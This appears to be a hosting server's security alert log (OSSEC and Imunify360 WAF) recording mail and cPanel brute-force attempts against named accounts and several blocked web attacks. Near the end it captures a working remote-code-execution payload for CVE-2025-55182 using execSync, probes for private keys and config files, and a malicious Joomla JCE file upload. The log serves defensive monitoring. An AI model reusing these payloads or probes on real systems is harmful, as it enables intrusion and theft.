rule: 13001
name: Exim Auth failed
abuser: 223.25.108.2
country_id: 1643084
description:
2026-07-12 14:20:38 dovecot_login authenticator failed for H=ns1.sinergi.net.id ([49.125.201.64]) [223.25.108.2]:49608: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.31.200.85
country_id: 1522867
description:
2026-07-12 14:24:27 dovecot_login authenticator failed for H=([107.181.161.85]) [193.31.200.85]:47076: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.182.76
country_id: 1835841
description:
2026-07-12 14:24:39 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [124.153.182.76]:38161: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 79.141.36.131
country_id: 2635167
domain: www.globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/124.0.6367.91 Safari/537.36||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.22.207
country_id: 6252001
description:
2026-07-12 14:26:25 dovecot_login authenticator failed for H=([65.20.205.197]) [207.254.22.207]:51744: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.182.99.92
country_id: 1655842
description:
2026-07-12 14:26:42 dovecot_login authenticator failed for H=([183.182.99.92]) [183.182.99.92]:43355: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.13
country_id: 1269750
description:
2026-07-12 14:26:56 dovecot_login authenticator failed for H=(nsg-corporate-13.230.187.122.airtel.in) [122.187.230.13]:33704: 535 Incorrect authentication data (set_id=jijo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.110.176.222
country_id: 1694008
description:
2026-07-12 14:28:35 dovecot_login authenticator failed for H=([82.162.56.186]) [27.110.176.222]:48248: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.174.49
country_id: 99237
description:
2026-07-12 14:29:04 dovecot_login authenticator failed for H=([45.71.28.80]) [65.20.174.49]:51258: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.45.101
country_id: 2661886
description:
2026-07-12 14:34:15 dovecot_login authenticator failed for H=78-66-45-101-no2550.tbcn.telia.com (125-227-240-43.hinet-ip.hinet.net) [78.66.45.101]:42534: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.238.122
country_id: 2542007
description:
2026-07-12 14:34:48 dovecot_login authenticator failed for H=([184.185.2.1]) [154.146.238.122]:43788: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.25
country_id: 1733045
description:
2026-07-12 14:35:11 dovecot_login authenticator failed for H=(15-50-166-83.dyn.estpak.ee) [49.124.152.25]:58832: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.149.217
country_id: 1733045
description:
2026-07-12 14:40:36 dovecot_login authenticator failed for H=([118.91.176.243]) [49.124.149.217]:40912: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.254.95.40
country_id: 2077456
description:
[2026-07-12 14:41:21 +0530] info [whostmgrd] 65.254.95.40 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.114
country_id: 1835841
description:
2026-07-12 14:41:20 dovecot_login authenticator failed for H=(244.252.163.220.broad.bs.yn.dynamic.163data.com.cn) [1.250.67.114]:45682: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.41.207.112
country_id: 953987
description:
2026-07-12 14:47:17 dovecot_login authenticator failed for H=([59.152.12.212]) [196.41.207.112]:48568: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-12 14:46:32 dovecot_login authenticator failed for H=([70.166.167.59]) [94.16.17.141]:52108: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.151.88.27
country_id: 6251999
description:
2026-07-12 14:47:08 dovecot_login authenticator failed for H=([112.28.153.193]) [184.151.88.27]:44508: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.108.109.37
country_id: 1835841
description:
2026-07-12 14:47:30 dovecot_login authenticator failed for H=(ipmapt-72-195-101-102.oc.oc.cox.net) [222.108.109.37]:60928: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.191.11
country_id: 2661886
description:
2026-07-12 14:49:01 dovecot_login authenticator failed for H=82-209-191-11.cust.bredband2.com ([192.111.134.12]) [82.209.191.11]:42906: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-12 14:55:10 dovecot_login authenticator failed for H=(ool-6038e495.static.optonline.net) [103.168.241.32]:38600: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.81.229.179
country_id: 6252001
description:
2026-07-12 15:00:17 dovecot_login authenticator failed for H=([116.7.248.50]) [192.81.229.179]:37998: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.246
country_id: 2661886
description:
2026-07-12 14:59:52 dovecot_login authenticator failed for H=78-66-44-246-no2550.tbcn.telia.com ([142.54.231.33]) [78.66.44.246]:47176: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.201.173
country_id: 660013
description:
2026-07-12 15:02:58 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc9-173.dhcp.inet.fi (187-126-105-145.user.vtal.net.br) [80.223.201.173]:52488: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.111.136.210
country_id: 294640
description:
2026-07-12 15:03:07 dovecot_login authenticator failed for H=([49.125.203.163]) [84.111.136.210]:44335: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.8.66.225
country_id: 1835841
description:
2026-07-12 15:07:01 dovecot_login authenticator failed for H=(5-100-120-147.ipoe.vladlink.net) [59.8.66.225]:49778: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.188.204.213
country_id: 6252001
description:
2026-07-12 15:06:28 dovecot_login authenticator failed for H=([183.171.12.224]) [50.188.204.213]:44579: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.195.9.20
country_id: 2661886
description:
2026-07-12 15:07:55 dovecot_login authenticator failed for H=user20.85-195-9.netatonce.net ([83.239.84.130]) [85.195.9.20]:49644: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 120.72.98.5
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://datahk.dev/\">Black Hat SEO</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.129.31.42
country_id: 3686110
description:
2026-07-12 15:08:26 dovecot_login authenticator failed for H=([142.54.229.253]) [181.129.31.42]:46063: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 116.212.185.146
country_id: 1210997
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/index.php/contact HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-07-12 15:16:36 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:33914: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.248.156.49
country_id: 1522867
description:
2026-07-12 15:17:02 dovecot_login authenticator failed for H=(ip-104-37-133-100.hosts.zerolag.com) [109.248.156.49]:34450: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.226.71
country_id: 1269750
description:
2026-07-12 15:16:57 dovecot_login authenticator failed for H=([122.187.226.71]) [122.187.226.71]:50834: 535 Incorrect authentication data (set_id=sadiq)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.138
country_id: 1269750
description:
2026-07-12 15:18:12 dovecot_login authenticator failed for H=([65.20.131.63]) [182.95.106.138]:43058: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.124.111.122
country_id: 2077456
description:
2026-07-12 15:18:47 dovecot_login authenticator failed for H=27-124-111-122.static.as58511.net ([223.223.194.187]) [27.124.111.122]:35290: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.39.96.69
country_id: 1835841
description:
2026-07-12 15:18:44 dovecot_login authenticator failed for H=(netcomafrica.com) [14.39.96.69]:58220: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.158
country_id: 1668284
description:
2026-07-12 15:18:59 dovecot_login authenticator failed for H=111-70-29-158.emome-ip.hinet.net (221-120-57-56.emome-ip.hinet.net) [111.70.29.158]:45661: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 108.181.46.194
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:108.181.46.194||TA:108.181.46.194||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.251.249.117
country_id: 2300660
description:
2026-07-12 15:22:36 dovecot_login authenticator failed for H=(209.66.246.220.static.netvigator.com) [197.251.249.117]:53829: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.74.224.30
country_id: 1835841
description:
2026-07-12 15:26:46 dovecot_login authenticator failed for H=([45.167.249.253]) [61.74.224.30]:54425: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.11
country_id: 1668284
description:
2026-07-12 15:27:10 dovecot_login authenticator failed for H=111-70-32-11.emome-ip.hinet.net ([27.123.113.10]) [111.70.32.11]:49935: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.90.111.74
country_id: 1269750
description:
2026-07-12 15:27:41 dovecot_login authenticator failed for H=([49.124.152.34]) [59.90.111.74]:52828: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-12 15:27:29 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([192.252.208.66]) [64.207.225.55]:32790: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.191.211.33
country_id: 6252001
description:
2026-07-12 15:27:49 dovecot_login authenticator failed for H=([101.13.2.183]) [65.191.211.33]:52950: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.194.5.183
country_id: 2077456
description:
2026-07-12 15:28:07 dovecot_login authenticator failed for H=(abts-north-static-105.80.160.122.airtelbroadband.in) [203.194.5.183]:54573: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.204.74
country_id: 1269750
description:
2026-07-12 15:36:03 dovecot_login authenticator failed for H=([14.54.35.193]) [125.23.204.74]:45950: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-12 15:36:05 dovecot_login authenticator failed for H=([49.124.152.249]) [182.95.189.66]:55152: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.118.47.8
country_id: 1835841
description:
2026-07-12 15:35:46 dovecot_login authenticator failed for H=([104.37.135.150]) [111.118.47.8]:11051: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-12 15:36:46 dovecot_login authenticator failed for H=(ip-104-200-152-25.hosts.zerolag.com) [182.95.116.66]:36712: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.6.81.59
country_id: 1880251
description:
2026-07-12 15:39:35 dovecot_login authenticator failed for H=bb121-6-81-59.singnet.com.sg (kd113158205225.ppp-bb.dion.ne.jp) [121.6.81.59]:58701: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.135.172
country_id: 1819730
description:
2026-07-12 15:44:49 dovecot_login authenticator failed for H=(ip-104-37-133-100.hosts.zerolag.com) [121.202.135.172]:33375: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.211.96
country_id: 99237
description:
2026-07-12 15:45:18 dovecot_login authenticator failed for H=(81-237-155-113-no2400.tbcn.telia.com) [65.20.211.96]:56973: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77142167
name: IM360 WAF: Block URI containing malicious URLs
abuser: 51.15.225.94
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block URI containing malicious URLs||RSV:8.28||T:APACHE||MVN:ARGS:username||SC:/home/cochinbigbandsho/public_html/component||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-07-12 15:49:48 dovecot_login authenticator failed for H=([152.67.48.120]) [217.29.30.135]:41750: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.179
country_id: 1668284
description:
2026-07-12 15:50:00 dovecot_login authenticator failed for H=111-70-32-179.emome-ip.hinet.net ([106.201.80.104]) [111.70.32.179]:43849: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.105.192.186
country_id: 3057568
description:
2026-07-12 15:57:16 dovecot_login authenticator failed for H=95-105-192-186.dynamic.orange.sk (host-109-174-104-74.bb-nsk.sib.mts.ru) [95.105.192.186]:60220: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.74.224.30
country_id: 1835841
description:
2026-07-12 16:01:16 dovecot_login authenticator failed for H=([72.206.74.97]) [61.74.224.30]:61465: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.226.138
country_id: 1269750
description:
2026-07-12 16:00:44 dovecot_login authenticator failed for H=([5.172.8.83]) [182.95.226.138]:41938: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.67.152.201
country_id: 1269750
description:
2026-07-12 16:02:02 dovecot_login authenticator failed for H=(dsl-hkibng42-50dfc6-246.dhcp.inet.fi) [103.67.152.201]:54528: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.61.33.117
country_id: 1269750
description:
2026-07-12 16:01:24 dovecot_login authenticator failed for H=(243.243.187.123.broad.ly.ln.dynamic.163data.com.cn) [163.61.33.117]:41476: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.163.253
country_id: 660013
description:
2026-07-12 16:01:21 dovecot_login authenticator failed for H=dsl-hkibng42-50dfa3-253.dhcp.inet.fi (mx-ll-171.6.98-160.dynamic.3bb.in.th) [80.223.163.253]:46634: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.44.206
country_id: 1269750
description:
2026-07-12 16:03:54 dovecot_login authenticator failed for H=([49.124.151.54]) [122.185.44.206]:35621: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.34.106
country_id: 226074
description:
2026-07-12 16:03:35 dovecot_login authenticator failed for H=(host-213-131-76-71.static.link.com.eg) [196.0.34.106]:37826: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.154.80.51
country_id: 2245662
description:
2026-07-12 16:04:15 dovecot_login authenticator failed for H=([182.95.87.177]) [213.154.80.51]:53711: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-07-12 16:07:11 dovecot_login authenticator failed for H=([218.52.113.36]) [197.219.208.38]:57116: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.235.66.253
country_id: 1269750
description:
2026-07-12 16:07:30 dovecot_login authenticator failed for H=([68.71.251.130]) [111.235.66.253]:53445: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.254.190.160
country_id: 3865483
description:
2026-07-12 16:08:44 dovecot_login authenticator failed for H=([192.111.129.146]) [128.254.190.160]:49562: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.197.6.173
country_id: 3017382
description:
2026-07-12 16:09:19 dovecot_login authenticator failed for H=([124.153.238.79]) [78.197.6.173]:59099: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.108.109
country_id: 1269750
description:
2026-07-12 16:09:57 dovecot_login authenticator failed for H=([119.200.244.102]) [183.82.108.109]:54458: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.142
country_id: 1733045
description:
2026-07-12 16:11:09 dovecot_login authenticator failed for H=(hebei.22.121.in-addr.arpa) [49.124.152.142]:38866: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-12 16:12:32 dovecot_login authenticator failed for H=([91.146.24.164]) [182.95.101.182]:47564: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.105.192.186
country_id: 3057568
description:
2026-07-12 16:13:57 dovecot_login authenticator failed for H=95-105-192-186.dynamic.orange.sk (host-109-174-104-74.bb-nsk.sib.mts.ru) [95.105.192.186]:52304: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.49.180.201
country_id: 1835841
description:
2026-07-12 16:13:33 dovecot_login authenticator failed for H=([105.247.89.210]) [14.49.180.201]:35933: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.94.66
country_id: 1269750
description:
2026-07-12 16:13:25 dovecot_login authenticator failed for H=([117.241.77.78]) [27.123.94.66]:42576: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77093094
abuser: 51.20.92.166
country_id: 2661886
domain: combinations.in
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.28||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.68.87.67
country_id: 2635167
description:
[2026-07-12 16:16:49 +0530] info [whostmgrd] 77.68.87.67 - root "GET /cpsess5992190397/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 77.68.87.67
country_id: 2635167
description:
[2026-07-12 16:16:48 +0530] info [whostmgrd] 77.68.87.67 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.213
country_id: 1269750
description:
2026-07-12 16:17:29 dovecot_login authenticator failed for H=(nsg-corporate-213.230.187.122.airtel.in) [122.187.230.213]:32907: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.159.162.194
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/audio-solutions-microphones-and-speakers HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.57.125
country_id: 1668284
description:
2026-07-12 16:23:13 dovecot_login authenticator failed for H=221-120-57-125.emome-ip.hinet.net ([195.158.26.59]) [221.120.57.125]:47498: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.77.86
country_id: 1269750
description:
2026-07-12 16:23:41 dovecot_login authenticator failed for H=(mission-web-hosting.com) [117.211.77.86]:45838: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.68
country_id: 1733045
description:
2026-07-12 16:23:32 dovecot_login authenticator failed for H=([83.239.0.202]) [49.125.201.68]:55330: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.11
country_id: 1668284
description:
2026-07-12 16:23:56 dovecot_login authenticator failed for H=111-70-32-11.emome-ip.hinet.net ([31.173.2.182]) [111.70.32.11]:40964: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.123.87.143
country_id: 1835841
description:
2026-07-12 16:24:58 dovecot_login authenticator failed for H=([192.252.214.22]) [210.123.87.143]:35008: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.99.52.202
country_id: 1835841
description:
2026-07-12 16:25:23 dovecot_login authenticator failed for H=([103.111.6.121]) [222.99.52.202]:55128: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.49.197.174
country_id: 1835841
description:
2026-07-12 16:33:02 dovecot_login authenticator failed for H=([49.124.152.174]) [14.49.197.174]:42454: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.53
country_id: 1668284
description:
2026-07-12 16:34:52 dovecot_login authenticator failed for H=110-25-109-53.adsl.fetnet.net ([192.111.143.93]) [110.25.109.53]:47066: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 125.164.232.79
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.28||T:APACHE||SC:/home/alnay/public_html/administrator/index.php||User:alnay||WPU:||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.28.243.190
country_id: 3017382
domain: combinations.in
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:104.28.243.190||TA:104.28.243.190||


plugin: modsec
rule: 77243320
abuser: 104.28.243.186
country_id: 3017382
domain: combinations.in
name:
IM360 WAF: Information disclosure vulnerability in Cloud Foundry PHP Buildpack (aka php-buildpack) before 4.3.18 and PHP Buildpack Cf-release before 242 as used in Pivotal Cloud Foundry (PCF) Elastic Runtime before 1.6.38 and 1.7.x before 1.7.19 and other products (CVE-2016-6639)

description:
IM360 WAF: Information disclosure vulnerability in Cloud Foundry PHP Buildpack (aka php-buildpack) before 4.3.18 and PHP Buildpack Cf-release before 242 as used in Pivotal Cloud Foundry (PCF) Elastic Runtime before 1.6.38 and 1.7.x before 1.7.19 and other products (CVE-2016-6639)||MVN:REQUEST_FILENAME||MV:/.profile||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.243.190
country_id: 3017382
domain: www.combinations.in
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/rclone.conf||User:combinations||


plugin: modsec
rule: 77469916
abuser: 125.164.232.79
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:galexbot-6co221pf.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.28.243.186
country_id: 3017382
domain: combinations.in
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:104.28.243.186||TA:104.28.243.186||


plugin: modsec
rule: 77469917
name: IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)
abuser: 125.164.232.79
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)||MVN:FILES:profile_file||MV:galexbot-6co221pf.html||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.243.190
country_id: 3017382
domain: combinations.in
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/privatekey.key||User:combinations||


plugin: modsec
rule: 77469917
name: IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)
abuser: 125.164.232.79
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)||MVN:FILES:file||MV:6co221pf-probe.txt||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.37.52
country_id: 798544
description:
2026-07-12 16:38:24 dovecot_login authenticator failed for H=89-67-37-52.dynamic.play.pl ([196.191.212.226]) [89.67.37.52]:40783: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.247.84
country_id: 1269750
description:
2026-07-12 16:39:12 dovecot_login authenticator failed for H=([223.109.200.181]) [203.192.247.84]:44170: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.197.6.173
country_id: 3017382
description:
2026-07-12 16:39:55 dovecot_login authenticator failed for H=([102.90.34.90]) [78.197.6.173]:61061: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.73.245
country_id: 1269750
domain: metrodigitals.com
description:
